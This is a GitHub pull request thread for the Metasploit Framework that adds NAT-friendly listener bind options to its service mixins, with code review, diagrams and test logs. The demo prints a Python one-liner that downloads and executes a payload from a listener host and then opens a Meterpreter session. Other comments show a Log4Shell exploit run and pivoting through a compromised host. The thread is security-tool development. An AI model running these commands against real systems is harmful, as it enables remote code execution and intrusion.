Update service mixins for NAT options #16250

zeroSteiner · 2022-02-28T21:54:34Z

This PR adds capabilities to the service mixins listed below to enable them to start listeners in NATed environments. It does so by adding two new datastore options, ListenerBindAddress and ListenerBindPort. These names are intentionally similar to the ReverseListenerBindAddress and ReverseListenerBindPort options that are registered by the reverse_* handlers^{1, 2} and the ListenerComm option already registered by the SocketServer.

The ReverseListerBindAddress allows the port on which the handler is bound to be different from that specified in LHOST. When only LHOST is specified, that IP address must be one that the system running the payload can connect to. This isn't feasible if Metasploit is running in a network behind a NAT with a port forwarding configuration. In this scenario, the public IP address specified in LHOST can't be bound to by the handler, so the ReverseListenerBindAddress allows it to be overridden. This PR updates the codebase to apply the same relation between ReverseListenerBindAddress and LHOST to ListenerBindAddress and SRVHOST. It solves the same problem, in the same way, but for modules that need to start listening services such as HTTP, LDAP, SMB, etc. The BindPort options serve the same purpose, allowing the port on which the service is bound to be different from the one the target is connecting to.

The following service listeners were updated as part of this PR:

socket_server
- tcp_server
  - smb/server (no changes necessary, inherited from tcp_server)
  - http_server
  - ftp_server (no changes necessary, inherited from tcp_server)
- ldap/server
- dns/server

Messages in the context of a location that targets should connect to (like URLs) were left unchanged. Messages that displayed where the service was listening were updated to use the actual bound address. Any instances that are incorrect should be called out.

Routing

Due to the way in which Metasploit's internal routing table works as provided by Rex::Socket if the ListenerBindAddress is to be routed through a session, then that session will be used as the comm to create the service. This is the exact say way that handlers work. An explicit comm can be specified using the ListenerComm and ReverseListenerComm options for services and handlers respectively.

Demo

The following diagram outlines the topology of the network where 192.168.250.0/24 is the WAN on which the target Ubuntu system is and 192.168.199.0/24 is the LAN on which Metasploit Framework is running. The HTTP service and payload handler services are both running on Metasploit and the router has been configured with a port forward for both. In both cases, the port that is forwarded, is forwarded to the same port on the target, e.g. router:4444 to metasploit:4444.

graph TD
    target-- http request -->rp8888-- via router portfwd -->metasploit
    target-- payload -->rp4444-- via router portfwd -->metasploit

    subgraph wan [WAN 192.168.250.0/24]
    target([target 192.168.250.8])
    end

    subgraph router [router 192.168.250.126 & 192.168.199.1]
    rp4444[192.168.250.126:4444]
    rp8888[192.168.250.126:8888]
    end
    
    subgraph lan [LAN 192.168.199.0/24]
    metasploit([metasploit 192.168.199.3])
    end

When setting up Metasploit and the exploit/multi/script/web_delivery module, the first attempt that fails shows that the SRVHOST address can not be bound to because 192.168.250.126 is not an IP address on the system where Metasploit is running. The user sets the two necessary options, the new ListenerBindAddress for the HTTP service and the existing ReverseListenerBindAddress for the reverse_tcp payload handler service. With that in place, the module works as intended. In the generated command output, the public address specified by SRVHOST is clearly visible, showing what the target will connect to, while the staus output shows that the TCP handler is running on the private address.

msf6 exploit(multi/script/web_delivery) > show options 

Module options (exploit/multi/script/web_delivery):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  192.168.250.126  yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT  8888             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)


Payload options (python/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.250.126  yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Python


msf6 exploit(multi/script/web_delivery) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/script/web_delivery) > 
[*] Started reverse TCP handler on 192.168.199.3:4444 
[-] Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (192.168.250.126:8888).

msf6 exploit(multi/script/web_delivery) > set ListenerBindAddress 192.168.199.3
ListenerBindAddress => 192.168.199.3
msf6 exploit(multi/script/web_delivery) > set ReverseListenerBindAddress 192.168.199.3
ReverseListenerBindAddress => 192.168.199.3
msf6 exploit(multi/script/web_delivery) > exploit
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/script/web_delivery) > 
[*] Started reverse TCP handler on 192.168.199.3:4444 
[*] Using URL: http://192.168.250.126/Wg9aLc4
[*] Server started.
[*] Run the following command on the target machine:
python -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.250.126:8888/Wg9aLc4', context=ssl._create_unverified_context());exec(r.read());"

msf6 exploit(multi/script/web_delivery) > 
[*] 192.168.250.8    web_delivery - Delivering Payload (501 bytes)
[*] Sending stage (39804 bytes) to 192.168.250.8
[*] Meterpreter session 1 opened (192.168.199.3:4444 -> 192.168.250.8:54566 ) at 2022-02-28 16:07:04 -0500

msf6 exploit(multi/script/web_delivery) >

Testing

These changes are included in quite a few modules. Anything that starts an HTTP, FTP, LDAP, DNS, or SMB server using the provided mixins will have the new functionality.

Test a HTTP module (suggestion: exploit/multi/script/web_deliver)
Test a LDAP module (suggestion: exploit/multi/http/log4shell_header_injection)
Test a DNS module (suggestion: auxiliary/server/dns/native_server)
Test a TCP module

For each of the new modules, they should all continue to work as intended. The ListenerBindAddress and ListenerBindPort options should alter how the socket is bound as visible by netstat or a similar monitoring utility.

zeroSteiner · 2022-02-28T21:56:15Z

lib/msf/core/exploit/remote/socket_server.rb

+      unless ip.nil?
+        comm = Rex::Socket::SwitchBoard.best_comm(ip)
+      end


This avoids a crash if ip is nil which is the case in some unit tests. If the IP is nil, and the comm should be automatically determined, it'll default to local.

zeroSteiner · 2022-02-28T21:56:47Z

lib/msf/core/exploit/remote/tcp_server.rb

@@ -26,7 +26,6 @@ def initialize(info = {})

    register_advanced_options(
      [
-        OptString.new('ListenerComm', [ false, 'The specific communication channel to use for this service']),


This was unnecessary since the same option is inherited by the included SocketServer mixin.

adfoster-r7 · 2022-03-01T17:09:56Z

modules/auxiliary/server/capture/smb.rb

@@ -193,8 +193,9 @@ def on_cred(creds)

  def run
    @rsock = Rex::Socket::Tcp.create(
-      'LocalHost' => datastore['SRVHOST'],
-      'LocalPort' => datastore['SRVPORT'],
+      'LocalHost' => bindhost,


I think this might be an existing issue, but are there any limitations with this solution in the scenario of a module wanting to have multiple different services with different bindports? For instance wanting to run an http server as well as an smb server in a module? 🤔

Comment not specific to this line of code, just an open question 😄

Yes, you're right it's an existing limitation. Hypothetically, if an exploit wanted to start both an HTTP server and an SMB server, that module author would need to decide if the SRVPORT option should correspond to the SMB service, the HTTP service, or neither. Whichever one the SRVPORT is not associated with will need to have its own port datastore option registered to replace SRVPORT and should have another option registered to replace ListenerBindPort too which should be accounted for when the service is started. The way the service is started would also need to be updated to prevent the use of the default SRVHOST/SRVPORT options.

lib/msf/core/exploit/remote/socket_server.rb

adfoster-r7 · 2022-03-12T05:33:24Z

Edit

Cool, confirmed I was indeed being an idiot - verified a pivoting scenario works as expected for me:

run ReverseListenerComm=-1 ReverseListenerBindAddress=192.168.123.6 lhost=192.168.123.6  lport=5000 ListenerComm=-1 ListenerBindAddress=192.168.123.6

Previous message:

I'm not sure if I'm being an idiot, and this is supposed to work, or if it's a feature request. But I was hoping to be able to use the multi/script/web_delivery module through a compromised host.

So initial lab setup would be msfconsole having an open session between A<->B, and a target C which is only accessible via B

flowchart LR
    A("A\nmsfconsole\n192.168.123.1")
    B("B\ncompromised target\n192.168.123.6")
    C("C\nOther target\n 192.168.123.25")

    A <-->| linux/x64/meterpreter_reverse_tcp\n192.168.123.1:4444| B

    B <-->| | C

I'd like to spin up the multi/script/web_delivery module on msfconsole on A (192.168.123.1), with the comm set to the compromised target B, and allow C to access the http server through B (192.168.123.6)

So I was hoping to do something along the lines of:

use multi/script/web_delivery
run ReverseListenerComm=-1 ReverseListenerBindAddress=192.168.123.6 ListenerBindAddress=192.168.123.6 lhost=192.168.123.1 srvhost=192.168.123.1

Which would then allow C to access the reverse listener 192.168.123.6:8080 on B, which would proxy the requests to A as expected:

flowchart LR
    A("A\nmsfconsole\n192.168.123.1")
    B("B\ncompromised target\n192.168.123.6\n(Now binding 8080 and 5000)")
    C("C\nOther target\n 192.168.123.25")

    A <-->| linux/x64/meterpreter_reverse_tcp\n192.168.123.1:4444| B

    A <-->| multi/script/web_delivery\n192.168.123.1:8080| B
    A <-->| python/meterpreter/reverse_tcp\n192.168.123.1:5000| B


    B <-->| http://192.168.123.6:8080| C

Hopefully the visuals make sense🤞

From the TLV logging I see the reverse listener bind address get setup as expected, but not the reverse srv bind address:

msf6 exploit(multi/script/web_delivery) > run ReverseListenerComm=-1 ReverseListenerBindAddress=192.168.123.6 ListenerBindAddress=192.168.123.6 lhost=192.168.123.1 lport=5000 srvhost=192.168.123.1
[*] Exploit running as background job 14.
[*] Exploit completed, but no session was created.

SEND: #<Rex::Post::Meterpreter::Packet type=Request         tlvs=[
  #<Rex::Post::Meterpreter::Tlv type=COMMAND-ID      meta=INT        value=4 command=core_channel_open>
  #<Rex::Post::Meterpreter::Tlv type=REQUEST-ID      meta=STRING     value="30364894712081114997553147866338">
  #<Rex::Post::Meterpreter::Tlv type=CHANNEL-TYPE    meta=STRING     value="stdapi_net_tcp_server">
  #<Rex::Post::Meterpreter::Tlv type=CHANNEL-CLASS   meta=INT        value=1>
  #<Rex::Post::Meterpreter::Tlv type=FLAGS           meta=INT        value=1>
  #<Rex::Post::Meterpreter::Tlv type=unknown-67038   meta=STRING     value="192.168.123.6">
  #<Rex::Post::Meterpreter::Tlv type=unknown-132575  meta=INT        value=5000>
]>
msf6 exploit(multi/script/web_delivery) > 
RECV: #<Rex::Post::Meterpreter::Packet type=Response        tlvs=[
  #<Rex::Post::Meterpreter::Tlv type=UUID            meta=RAW        value="\x1D\xF1-\x86JL\xA3\xAF4[2YVw\x10\x02">
  #<Rex::Post::Meterpreter::Tlv type=COMMAND-ID      meta=INT        value=4 command=core_channel_open>
  #<Rex::Post::Meterpreter::Tlv type=CHANNEL-ID      meta=INT        value=8>
  #<Rex::Post::Meterpreter::Tlv type=REQUEST-ID      meta=STRING     value="30364894712081114997553147866338">
  #<Rex::Post::Meterpreter::Tlv type=RESULT          meta=INT        value=0>
  #<Rex::Post::Meterpreter::Tlv type=unknown-67038   meta=STRING     value="::">
  #<Rex::Post::Meterpreter::Tlv type=unknown-132575  meta=INT        value=5000>
]>

[*] Started reverse TCP handler on 192.168.123.6:5000 via the meterpreter on session 2
[-] Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (192.168.123.6:8080).

SEND: #<Rex::Post::Meterpreter::Packet type=Request         tlvs=[
  #<Rex::Post::Meterpreter::Tlv type=COMMAND-ID      meta=INT        value=1 command=core_channel_close>
  #<Rex::Post::Meterpreter::Tlv type=REQUEST-ID      meta=STRING     value="53578819126500520757918238356275">
  #<Rex::Post::Meterpreter::Tlv type=CHANNEL-ID      meta=INT        value=8>
]>

RECV: #<Rex::Post::Meterpreter::Packet type=Response        tlvs=[
  #<Rex::Post::Meterpreter::Tlv type=UUID            meta=RAW        value="\x1D\xF1-\x86JL\xA3\xAF4[2YVw\x10\x02">
  #<Rex::Post::Meterpreter::Tlv type=COMMAND-ID      meta=INT        value=1 command=core_channel_close>
  #<Rex::Post::Meterpreter::Tlv type=CHANNEL-ID      meta=INT        value=8>
  #<Rex::Post::Meterpreter::Tlv type=REQUEST-ID      meta=STRING     value="53578819126500520757918238356275">
  #<Rex::Post::Meterpreter::Tlv type=RESULT          meta=INT        value=0>
]>

adfoster-r7 · 2022-03-12T06:16:32Z

lib/msf/core/exploit/remote/http_server.rb

@@ -172,19 +158,10 @@ def start_service(opts = {})
      print_status("Intentionally using insecure SSL compression. Your operating system might not respect this!")
    end

+    print_status("Using URL: #{proto}://#{srvhost_addr}#{uopts['Path']}")


Looks like the port was dropped here, was that intentional? 👀

[*] Using URL: http://192.168.123.6/R3ieTAhOv

You're right, that's a mistake. I was intending to leave the port out when it's the default based on the schema like #get_uri does and I got mixed up. Thanks for catching this, fixed in 6e1d369.

I think this needs fixed still 👀

My lport is 8080 for the web delivery and the port is missing:

[*] Started reverse TCP handler on private_ip:4444 [*] Using URL: http://public_ip/iXjtZTZH7

Totally unrelated to this PR, I wish there was an easy way to see all the paths that were registered with the http service manager, or at least see where the web delivery module is running from. It's pretty easy to forget which paths are for what after the console screen's been cleared, and it's not possible to grab the info from the jobs or service manager details from what I can see

msf6 exploit(multi/script/web_delivery) > jobs Jobs ==== Id Name Payload Payload opts -- ---- ------- ------------ 2 Exploit: multi/script/web_delivery python/meterpreter/reverse_tcp tcp://x.x.x.x:4444

msf6 exploit(multi/script/web_delivery) > _servicemanager Services ======== Id Name References -- ---- ---------- 0 HTTP Server 2 1 Rex::Proto::Http::Server8080-x.x.x.x-Rex::Socket::Comm::Local 2

Yeah it looks like when I rebased, that change was lost. Let me do it again. Re-added in commit ff0ecfa.

adfoster-r7 · 2022-03-14T14:27:58Z

I don't believe I'll be able to test the DNS functionality with the recent issues/pull requests for it:

It'll crash if you do

Instead of returning nil from Rex::Socket::SwitchBoard.best_comm, return the local comm which Rex::Socket will defer to anyways.

adfoster-r7 · 2022-03-21T22:38:15Z

Potentially pebkac - but it looks like the suggested DNS module doesn't work out of the box yet 👀

Not sure if I need to pull in #16364 - but from the git log, it looks like like the previous DNS fixes were pulled into this PR at least

msf6 auxiliary(server/dns/native_server) > dig -x google.com @127.0.0.1
[*] exec: dig -x google.com @127.0.0.1


[-] Auxiliary failed: Dnsruby::DecodeError requested position of 125 must be between 0 and buffer size (121).
[-] Call stack:
[-]   /var/lib/gems/2.7.0/gems/dnsruby-1.61.9/lib/dnsruby/message/decoder.rb:32:in `assert_buffer_position_valid'
[-]   /var/lib/gems/2.7.0/gems/dnsruby-1.61.9/lib/dnsruby/message/decoder.rb:90:in `get_unpack'
[-]   /var/lib/gems/2.7.0/gems/dnsruby-1.61.9/lib/dnsruby/resource/SOA.rb:89:in `decode_rdata'
[-]   /var/lib/gems/2.7.0/gems/dnsruby-1.61.9/lib/dnsruby/message/decoder.rb:171:in `block in get_rr'
[-]   /var/lib/gems/2.7.0/gems/dnsruby-1.61.9/lib/dnsruby/message/decoder.rb:53:in `get_length16'
[-]   /var/lib/gems/2.7.0/gems/dnsruby-1.61.9/lib/dnsruby/message/decoder.rb:171:in `get_rr'
[-]   /var/lib/gems/2.7.0/gems/dnsruby-1.61.9/lib/dnsruby/message/message.rb:578:in `block (2 levels) in decode'
[-]   /var/lib/gems/2.7.0/gems/dnsruby-1.61.9/lib/dnsruby/message/message.rb:577:in `times'
[-]   /var/lib/gems/2.7.0/gems/dnsruby-1.61.9/lib/dnsruby/message/message.rb:577:in `block in decode'
[-]   /var/lib/gems/2.7.0/gems/dnsruby-1.61.9/lib/dnsruby/message/decoder.rb:20:in `initialize'
[-]   /var/lib/gems/2.7.0/gems/dnsruby-1.61.9/lib/dnsruby/message/message.rb:567:in `new'
[-]   /var/lib/gems/2.7.0/gems/dnsruby-1.61.9/lib/dnsruby/message/message.rb:567:in `decode'
[-]   /home/ubuntu/metasploit-framework/lib/rex/proto/dns/packet.rb:86:in `encode_drb'
[-]   /home/ubuntu/metasploit-framework/lib/rex/proto/dns/packet.rb:31:in `validate'
[-]   /home/ubuntu/metasploit-framework/modules/auxiliary/server/dns/native_server.rb:98:in `on_dispatch_request'
[-]   /home/ubuntu/metasploit-framework/lib/msf/core/exploit/remote/dns/server.rb:119:in `block in start_service'
[-]   /home/ubuntu/metasploit-framework/lib/rex/proto/dns/server.rb:274:in `dispatch_request'
[-]   /home/ubuntu/metasploit-framework/lib/rex/proto/dns/server.rb:350:in `monitor_listener'
[-]   /home/ubuntu/metasploit-framework/lib/rex/proto/dns/server.rb:231:in `block in start'
[-]   /home/ubuntu/metasploit-framework/lib/rex/thread_factory.rb:22:in `block in spawn'
[-]   /home/ubuntu/metasploit-framework/lib/msf/core/thread_manager.rb:105:in `block in spawn'
[-]   /var/lib/gems/2.7.0/gems/logging-2.3.0/lib/logging/diagnostic_context.rb:474:in `block in create_with_logging_context'
[*] Server stopped.


; <<>> DiG 9.16.1-Ubuntu <<>> -x google.com @127.0.0.1
;; global options: +cmd
;; connection timed out; no servers could be reached

adfoster-r7 · 2022-03-21T23:35:58Z

I believe I've configured everything correctly, but it looks like the suggested log4shell module doesn't work for me:

msf6 exploit(multi/http/log4shell_header_injection) > run

[*] Started reverse TCP handler on private_ip:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Using auxiliary/scanner/http/log4shell_scanner as check
[+] 127.0.0.1:9001        - Log4Shell found via / (header: X-Api-Version) (java: Oracle Corporation_1.8.0_181)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Sleeping 30 seconds for any last LDAP connections

[*] Server stopped.
[+] The target is vulnerable.
[+] Automatically identified vulnerable header: X-Api-Version
[*] Server stopped.
[-] Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (public_ip:8080).
[*] Exploit completed, but no session was created.

I verified it works as expected locally before hand:

msf6 exploit(multi/http/log4shell_header_injection) > run http://192.168.123.1:9001 srvhost=192.168.123.1 lhost=192.168.123.1

[*] Started reverse TCP handler on 192.168.123.1:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Using auxiliary/scanner/http/log4shell_scanner as check
[+] 192.168.123.1:9001    - Log4Shell found via / (header: X-Api-Version) (java: Oracle Corporation_1.8.0_181)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Sleeping 30 seconds for any last LDAP connections
[*] Server stopped.
[+] The target is vulnerable.
[+] Automatically identified vulnerable header: X-Api-Version
[*] Serving Java code on: http://192.168.123.1:8080/wSgzGQQJEBC0.jar
[*] Command shell session 2 opened (192.168.123.1:4444 -> 192.168.123.1:56870 ) at 2022-03-21 23:34:52 +0000

And it was tested against a newer version of the vulnerable log4shell app:

docker run -p 9001:8080 -it ghcr.io/christophetd/log4shell-vulnerable-app

I'm guessing it's the custom http server which needs a similar tweak:

metasploit-framework/modules/exploits/multi/http/log4shell_header_injection.rb

Lines 266 to 278 in d6d8bd5

    
           # Start a new HTTP server 
        
           @http_service = Rex::ServiceManager.start( 
        
             Rex::Proto::Http::Server, 
        
             opts['ServerPort'].to_i, 
        
             opts['ServerHost'], 
        
             datastore['SSL'], 
        
             { 
        
               'Msf' => framework, 
        
               'MsfExploit' => self 
        
             }, 
        
             opts['Comm'], 
        
             datastore['SSLCert'] 
        
           )

adfoster-r7 · 2022-03-21T23:48:11Z

Test a TCP module

Tested a FTP module successfully, although there's really no use of SRVHOST in the FTP modules to verify that behavior. If there's a recommended module to test here, let me know 👍

For another http module I also tested the glue-code of unix/webapp/php_include and the server/payload/handler etc worked as expected

zeroSteiner · 2022-03-22T00:25:18Z

The DNS issue appears to be unrelated. I was able to reproduce it using dig with the -x argument. If you set the STATIC_ENTRIES though and just do a standard forward lookup, it should work. We can open another ticket for that particular bug you found.

adfoster-r7 · 2022-03-22T00:53:06Z

I went searching for similar patterns to the ldap code, and it seems like there might be some copy/pasta that we should probably align to use the new pattern - otherwise future folk will copy/paste code from these modules without this new logic present:

metasploit-framework/modules/exploits/osx/browser/safari_file_policy.rb

Lines 172 to 198 in da16aad

    
           comm = datastore['ListenerComm'] 
        
           if (comm.to_s == "local") 
        
             comm = ::Rex::Socket::Comm::Local 
        
           else 
        
             comm = nil 
        
           end 
        
           # Default the server host / port 
        
           opts = { 
        
             'ServerHost' => datastore['SRVHOST'], 
        
             'ServerPort' => datastore['HTTPPORT'], 
        
             'Comm'       => comm 
        
           }.update(opts) 
        
           # Start a new HTTP server 
        
           @http_service = Rex::ServiceManager.start( 
        
             Rex::Proto::Http::Server, 
        
             opts['ServerPort'].to_i, 
        
             opts['ServerHost'], 
        
             datastore['SSL'], 
        
             { 
        
               'Msf'        => framework, 
        
               'MsfExploit' => self, 
        
             }, 
        
             opts['Comm'], 
        
             datastore['SSLCert'] 
        
           )

metasploit-framework/modules/auxiliary/gather/safari_file_url_navigation.rb

Lines 219 to 247 in da16aad

    
           comm = datastore['ListenerComm'] 
        
           if (comm.to_s == "local") 
        
             comm = ::Rex::Socket::Comm::Local 
        
           else 
        
             comm = nil 
        
           end 
        
           # Default the server host / port 
        
           opts = { 
        
             'ServerHost' => datastore['SRVHOST'], 
        
             'ServerPort' => datastore['HTTPPORT'], 
        
             'Comm'       => comm 
        
           }.update(opts) 
        
           # Start a new HTTP server 
        
           @http_service = Rex::ServiceManager.start( 
        
             Rex::Proto::Http::Server, 
        
             opts['ServerPort'].to_i, 
        
             opts['ServerHost'], 
        
             datastore['SSL'], 
        
             { 
        
               'Msf'        => framework, 
        
               'MsfExploit' => self, 
        
             }, 
        
             opts['Comm'], 
        
             datastore['SSLCert'] 
        
           ) 
        
           @http_service.server_name = datastore['HTTP::server_name']

metasploit-framework/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb

Lines 66 to 92 in da16aad

    
           comm = datastore['ListenerComm'] 
        
           if comm.to_s == 'local' 
        
             comm = ::Rex::Socket::Comm::Local 
        
           else 
        
             comm = nil 
        
           end 
        
           # Default the server host / port 
        
           opts = { 
        
             'ServerHost' => datastore['SRVHOST'], 
        
             'ServerPort' => datastore['HTTPPORT'], 
        
             'Comm'       => comm 
        
           }.update(opts) 
        
           # Start a new HTTP server 
        
           @http_service = Rex::ServiceManager.start( 
        
             Rex::Proto::Http::Server, 
        
             opts['ServerPort'].to_i, 
        
             opts['ServerHost'], 
        
             datastore['SSL'], 
        
             { 
        
               'Msf'        => framework, 
        
               'MsfExploit' => self, 
        
             }, 
        
             opts['Comm'], 
        
             datastore['SSLCert'] 
        
           )

There may be other places too.

Potentially the socks_proxy module could be aligned for consistency purposes, particularly for the scenario of using setg to specify SRVHOST/ListenerBindAddress, or when using a single run command with values already filled in for reuse in other modules: run srvhost=... listenerbindaddress=...

Happy for you to declare this out of scope of this particular pull request, just hoping to avoid future copy/pasting issues 😄

adfoster-r7 · 2022-03-23T00:13:06Z

Verified:

HTTP Web delivery
FTP server
log4j exploit
socks server - reused the verification steps from Unify the socks modules using a VERSION option #14173
smb capture
smb relay - missing support, not a blocker
apple/safari modules, missing support, not a blocker
dns module - working, although crashes with dig -x, but that's an existing issue, not a blocker

adfoster-r7 · 2022-03-23T00:23:06Z

Release Notes

Adds new ListenerBindPort and ListenerBindAddress options on modules which expose services such as HTTP, SMB, LDAP, FTP, etc. This allows users to specify a separate IP/Port to bind to, in addition to the providing SRVHOST/SRVPORT values. These additional options are useful if Metasploit is running in a network behind a NAT, or when pivoting through a compromised target. The naming convention is similar to the payload options ReverseListenerBindAddress and ReverseListenerBindPort

zeroSteiner commented Feb 28, 2022

View reviewed changes

smcintyre-r7 requested a review from adfoster-r7 February 28, 2022 21:59

smcintyre-r7 added enhancement library labels Feb 28, 2022

smcintyre-r7 mentioned this pull request Feb 28, 2022

Pr/collab/15972 sempervictus/metasploit-framework#30

Closed

adfoster-r7 reviewed Mar 1, 2022

View reviewed changes

smashery mentioned this pull request Mar 8, 2022

Capture plugin #16298

Merged

adfoster-r7 reviewed Mar 12, 2022

View reviewed changes

lib/msf/core/exploit/remote/socket_server.rb Show resolved Hide resolved

adfoster-r7 reviewed Mar 12, 2022

View reviewed changes

adfoster-r7 self-assigned this Mar 14, 2022

zeroSteiner added 6 commits March 21, 2022 11:47

Add and use the new bindhost/bindport options

2e4f04a

Update the TCP server and HTTP server mixins

0ab97b8

Don't pass nill to #best_comm

551f159

It'll crash if you do

Always return a comm from #_determine_server_comm

aca272d

Instead of returning nil from Rex::Socket::SwitchBoard.best_comm, return the local comm which Rex::Socket will defer to anyways.

Update the SMB capture module with new options

929e5d5

Readd the missing SocketServer mixin for SMB

a739083

zeroSteiner force-pushed the feat/nat-services branch from 6e1d369 to a739083 Compare March 21, 2022 15:51

Display the HTTP port when necessary

ff0ecfa

zeroSteiner added 2 commits March 22, 2022 09:06

Add the HttpListenerBindPort to the log4shell exploit

86aed49

Add and use the ListenerComm option for SOCKS

fd2d1c0

adfoster-r7 merged commit 03d6450 into rapid7:master Mar 23, 2022

adfoster-r7 mentioned this pull request Mar 23, 2022

Updated log4shell HTTP scanner #15972

Merged

smcintyre-r7 added the rn-enhancement release notes enhancement label Mar 25, 2022

adfoster-r7 mentioned this pull request Jul 8, 2022

ManageEngine ADAudit Plus CVE-2022-28219 #16758

Merged

adfoster-r7 mentioned this pull request Jul 21, 2022

web_delivery module serves payload over LHOST, not SRVHOST #16687

Open

adfoster-r7 mentioned this pull request Mar 28, 2024

Don't run check modules in the background #19007

Merged

3 tasks

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Update service mixins for NAT options #16250

Update service mixins for NAT options #16250

zeroSteiner commented Feb 28, 2022 •

edited by adfoster-r7

Loading

zeroSteiner Feb 28, 2022

zeroSteiner Feb 28, 2022

adfoster-r7 Mar 1, 2022

adfoster-r7 Mar 1, 2022

zeroSteiner Mar 1, 2022

adfoster-r7 commented Mar 12, 2022 •

edited

Loading

adfoster-r7 Mar 12, 2022

zeroSteiner Mar 12, 2022

adfoster-r7 Mar 21, 2022

adfoster-r7 Mar 21, 2022

zeroSteiner Mar 22, 2022

adfoster-r7 commented Mar 14, 2022 •

edited by smcintyre-r7

Loading

adfoster-r7 commented Mar 21, 2022

adfoster-r7 commented Mar 21, 2022

adfoster-r7 commented Mar 21, 2022 •

edited

Loading

zeroSteiner commented Mar 22, 2022

adfoster-r7 commented Mar 22, 2022 •

edited

Loading

adfoster-r7 commented Mar 23, 2022

adfoster-r7 commented Mar 23, 2022 •

edited

Loading

Update service mixins for NAT options #16250

Update service mixins for NAT options #16250

Conversation

zeroSteiner commented Feb 28, 2022 • edited by adfoster-r7 Loading

Routing

Demo

Testing

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

adfoster-r7 commented Mar 12, 2022 • edited Loading

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

adfoster-r7 commented Mar 14, 2022 • edited by smcintyre-r7 Loading

adfoster-r7 commented Mar 21, 2022

adfoster-r7 commented Mar 21, 2022

adfoster-r7 commented Mar 21, 2022 • edited Loading

zeroSteiner commented Mar 22, 2022

adfoster-r7 commented Mar 22, 2022 • edited Loading

adfoster-r7 commented Mar 23, 2022

adfoster-r7 commented Mar 23, 2022 • edited Loading

Release Notes

zeroSteiner commented Feb 28, 2022 •

edited by adfoster-r7

Loading

adfoster-r7 commented Mar 12, 2022 •

edited

Loading

adfoster-r7 commented Mar 14, 2022 •

edited by smcintyre-r7

Loading

adfoster-r7 commented Mar 21, 2022 •

edited

Loading

adfoster-r7 commented Mar 22, 2022 •

edited

Loading

adfoster-r7 commented Mar 23, 2022 •

edited

Loading